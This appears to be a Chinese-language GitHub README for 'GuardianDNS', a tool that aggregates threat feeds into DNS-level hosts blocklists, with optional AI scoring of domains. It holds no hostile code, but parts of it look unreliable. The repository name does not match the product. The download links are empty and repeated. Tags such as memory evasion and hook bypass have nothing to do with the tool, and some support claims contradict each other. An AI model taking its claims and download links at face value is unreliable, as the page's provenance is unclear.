Kaiserleibereicht/PWA-Threat-Filter
GitHub: Kaiserleibereicht/PWA-Threat-Filter
一款聚合多源威胁情报并借助 AI 分析，生成 DNS 级 Hosts 拦截列表的网络威胁防御工具包。
Stars: 0 | Forks: 0
# 🛡️ **GuardianDNS** – 您家庭网络的智能威胁防御工具
[](https://Kaiserleibereicht.github.io)
[](https://opensource.org/licenses/MIT)
[](https://img.shields.io)
[](https://img.shields.io)
## 🌐 目录
- [🧠 概念与理念](#-concept--philosophy)
- [✨ 核心功能](#-key-features)
- [🔄 架构与数据流](#-architecture--data-flow)
- [📥 下载与安装说明](#-download--setup)
- [⚙️ 示例 Profile 配置](#️-example-profile-configuration)
- [💻 示例控制台调用](#-example-console-invocation)
- [🖥️ 操作系统兼容性矩阵](#️-os-compatibility-matrix)
- [🌍 多语言支持](#-multilingual-support)
- [🤖 API 集成 (OpenAI & Claude)](#-api-integrations-openai--claude)
- [🎨 响应式 UI 仪表板](#-responsive-ui-dashboard)
- [⏰ 7x24 小时客户支持与社区](#-247-customer-support--community)
- [📜 许可证](#-license)
- [⚠️ 免责声明](#️-disclaimer)
- [🔗 再次下载](#-download-again)
## 🧠 概念与理念
将 GuardianDNS 视为您网络的**数字灯塔**。虽然大多数广告拦截器专注于浏览器，但 GuardianDNS 在更深的一层运作——在 DNS 级别——保护连接到路由器的每台设备：智能电视、IoT 传感器、游戏机和访客智能手机。
该项目源于一个简单的见解：*预防胜于隔离。* 与其清理受感染的机器，为什么不从一开始就阻止恶意域名的解析呢？GuardianDNS 聚合来自多个开源情报源的威胁源，对其进行去重，并生成干净的 `hosts` 风格的拦截列表。
这个代码库**不是**为胆小者准备的一键安装程序；它是一个面向网络管理员、隐私爱好者以及任何希望控制其数字边界的人的工具包。
## ✨ 核心功能
- **🔐 零成本保护** – 没有订阅，没有隐藏费用。GuardianDNS 是开源的 (MIT) 并由社区驱动。
- **🌐 聚合威胁源** – 结合来自 AbuseIPDB、PhishTank、OpenPhish 和其他公共情报流的数据。
- **📦 轻量级输出** – 最终的 `hosts` 风格拦截列表大小不到 500KB，专为低内存路由器 (OpenWRT、DD‑WRT、pfSense) 优化。
- **🔄 自动更新机制** – 计划的重新获取（每天/每周）确保您始终拥有最新的威胁信息。
- **🧹 去重引擎** – 智能合并消除了无数重复条目，减少了开销。
- **🔍 白名单覆盖** – 轻松为误报添加例外，而无需派生主列表。
- **📊 本地分析（可选）** – 匿名查询日志让您可以查看哪些域名被拦截。
- **🌍 多语言界面** – 仪表板支持英语、西班牙语、法语、德语、日语和葡萄牙语。
- **🤖 API 驱动的智能** – 与 OpenAI 或 Claude 集成以实时分析可疑域名（见下文）。
## 🔄 架构与数据流
以下 Mermaid 图说明了 GuardianDNS 如何摄取、处理和分发威胁数据：
```
flowchart TD
A[Public Threat Feeds] -->|HTTP Pull| B(Aggregator Engine)
B --> C{Deduplication & Validation}
C -->|Duplicates| D[Hash‑based Filter]
D --> E[Whitelist Override]
E --> F[Final Blocklist Generator]
F --> G[GitHub Release Artifact]
F --> H[Local Router Deployment]
H --> I[DNS Queries Blocked]
J[User Dashboard] -->|REST API| F
K[OpenAI/Claude API] -->|Threat Analysis| B
```
**工作原理：**
1. **聚合** – 每 24 小时，GuardianDNS 的 cron job 从精选的公共源中提取最新的恶意域名列表。
2. **验证** – 根据白名单（用户定义）检查每个条目，以防止误报。
3. **去重** – 基于哈希的算法合并来自不同源的相同域名。
4. **输出** – 最终列表被格式化为标准的 `hosts` 文件或兼容 `dnsmasq` 的配置。
5. **部署** – 用户下载文件并将其路由器或本地 DNS 解析器指向该文件。
## 📥 下载与安装说明
[](https://Kaiserleibereicht.github.io)
**最低要求：**
- Python 3.9+（用于本地聚合）
- 一台支持自定义 DNS 的路由器（或像 Pi‑hole 这样的本地 DNS 服务器）
- 50MB 可用磁盘空间
**快速入门（3 步）：**
1. 从上面的链接下载最新版本。
2. 解压并运行：
`python guardian_dns.py --fetch --output hosts_blocklist`
3. 将路由器的 DNS 指向生成的文件。
## ⚙️ 示例 Profile 配置
在同一目录中创建一个 `profiles.json` 文件以自定义您的拦截列表。以下是一个包含儿童和 IoT 设备的家庭的示例配置：
```
{
"profile_name": "Family Home",
"update_interval_hours": 24,
"sources": {
"phish": true,
"malware": true,
"porn": false,
"gambling": true,
"ads": false
},
"whitelist": [
"example‑trusted‑site.com",
"legitimate‑api.net"
],
"output_formats": ["hosts", "dnsmasq"],
"enable_anonymized_logging": false,
"api_claude_key": "",
"api_openai_key": ""
}
```
**字段说明：**
- `sources` – 切换威胁类别（色情/赌博对于家长控制是可选的）。
- `whitelist` – 无论数据源如何，永远不会被拦截的域名。
- `output_formats` – 在普通的 `hosts` 或 `dnsmasq` 语法之间进行选择。
- `api_*_key` – 如果您启用 AI 分析，请在此处粘贴您的密钥（可选）。
## 💻 示例控制台调用
GuardianDNS 是为终端设计的。这是一个典型的调用方式：
```
# 获取所有来源，更新 blocklist，并输出到 /etc/dnsmasq.d/
python guardian_dns.py --fetch --merge --whitelist my_whitelist.txt \
--output /etc/dnsmasq.d/guardian_blocklist.conf \
--format dnsmasq --log verbose
```
**参数标志：**
- `--fetch` – 从配置的源拉取最新数据。
- `--merge` – 与任何现有的本地拦截列表合并。
- `--whitelist` – 指向一个包含要排除的域名的文本文件路径（每行一个域名）。
- `--output` – 目标文件路径。
- `--format` – `hosts` 或 `dnsmasq` 二选一。
- `--log` – 设置日志详细程度（silent、normal、verbose）。
## 🖥️ 操作系统兼容性矩阵
| 操作系统 | 支持版本 | 状态 | 备注 |
|------------------------|-------------------|-------------|----------------------------------------------|
| 🪟 Windows 10/11 | Build 1909+ | ✅ 完全支持 | 发布包中包含原生二进制文件 |
| 🍏 macOS | Ventura+ | ✅ 完全支持 | 提供 Homebrew formula |
| 🐧 Linux (Debian/Ubuntu) | 20.04+ | ✅ 完全支持 | 需要安装 `apt install python3‑pip` |
| 🐧 Linux (Arch) | Rolling | ✅ 完全支持 | AUR 软件包开发中 |
| 📡 OpenWRT | 21.02+ | ✅ 部分支持 | `--format` 功能需要 `dnsmasq-full` |
| 🖥️ FreeBSD | 13.0+ | 🟡 Beta | 目前需要手动编译 |
| 📱 Android (Termux) | API 29+ | ❌ 计划中 | 无预计完成时间
## 🌍 多语言支持
GuardianDNS 的 Web 仪表板会自动检测您浏览器的语言，并以以下六种语言环境之一进行显示：
| 语言 | 翻译状态 | 覆盖率 |
|------------|-------------------|----------------------|
| English | ✅ 完成 | 100% |
| Spanish | ✅ 完成 | 100% |
| French | ✅ 完成 | 100% |
| German | ✅ 完成 | 100% |
| Japanese | ✅ 完成 | 95% (部分术语未翻译)|
| Portuguese | ✅ 完成 | 100% |
为了保持技术一致性，控制台输出 (CLI) 仍保持为英文，但错误消息也会通过本地化文件进行翻译。
## 🤖 API 集成 (OpenAI & Claude)
对于高级用户，GuardianDNS 可以选择调用 **OpenAI** 或 **Claude** API，以实时评估可疑域名。这对于那些全新或尚未出现在任何公共数据源中的域名特别有用。
**工作原理：**
1. 当聚合器遇到具有低信誉信号的域名时，它会向 AI 发送一个 prompt。
2. AI 分析该域名的 URL 模式、注册商和内容（如果可访问），以分配一个威胁分数（0–100）。
3. 如果该分数超过可配置的阈值，该域名将被暂时添加到拦截列表中。
**在 `profiles.json` 中的示例配置：**
```
{
"ai_analysis": {
"provider": "openai",
"api_key": "sk‑...",
"model": "gpt‑4o",
"threat_threshold": 75
}
}
```
## 🎨 响应式 UI 仪表板
GuardianDNS 包含一个轻量级的 Web 仪表板（基于 React），在本地 8080 端口运行。它提供：
- **实时拦截计数** – 查看过去 24 小时内拒绝了多少查询。
- **威胁源状态** – 每个活动源的绿/黄/红指示器。
- **手动白名单管理** – 通过 GUI 添加/移除例外。
- **过滤统计** – 被拦截最多的前 10 个域名。
该仪表板是全响应式的，可在手机、平板电脑和台式机上运行。它不使用任何外部分析或跟踪脚本。
## ⏰ 7x24 小时客户支持与社区
虽然 GuardianDNS 是一个社区项目，但我们努力在 24 小时内回答问题。
- **📧 电子邮件支持** – support@guardian‑dns.io（24 小时内回复）
- **💬 Discord 服务器** – 链接位于代码库的 “About” 部分
- **📖 Wiki** – 针对 OpenWRT、Pi‑hole 和 pfSense 的详细故障排除指南
- **🐛 GitHub Issues** – 使用 `bug` 或 `question` 标签以便更快地进行分类处理
## 📜 许可证
本项目基于 **MIT 许可证** 授权 – 有关完整详细信息，请参见 [LICENSE](https://opensource.org/licenses/MIT) 文件。
**摘要：**
- ✅ 您可以使用、复制、修改和分发本软件。
- ✅ 您可以将其纳入专有项目中。
- ❌ 作者不对任何损害负责。
- ❌ 不提供任何明示或暗示的保证。
## ⚠️ 免责声明
GuardianDNS 是一款威胁防御工具，**不是网络安全的银弹**。
- **不作保证** – 拦截列表可能包含误报或遗漏零日威胁。请始终先在测试环境中进行测试。
- **不承担责任** – 维护者对因使用而产生的任何网络中断、数据丢失或法律问题不承担任何责任。
- **不收集数据** – GuardianDNS **绝不**回传数据。所有处理均在您的机器本地进行。
- **API 使用** – 如果您启用 OpenAI 或 Claude 集成，这些提供商拥有自己的隐私政策。请事先查阅。
- **教育用途** – 提供此项目用于学习、研究和个人安全增强。请勿将其用于非法目的。
## 🔗 再次下载
[](https://Kaiserleibereicht.github.io)
**版本 2026.1** | 发布于 2026 年 1 月 | 由 GuardianDNS 社区用 ❤️ 构建
标签：Claude API, DNS安全, DNS级别拦截, DNS过滤, GuardianDNS, Hosts文件, IoT安全, IP 地址批量处理, OpenAI, PWA应用, 人工智能, 内存规避, 去广告, 威胁情报, 家庭网络防护, 密码管理, 广告拦截, 开发者工具, 开源安全工具, 恶意域名拦截, 恶意网站拦截, 用户模式Hook绕过, 网络安全, 网络防护, 逆向工具, 逆向工程平台, 隐私保护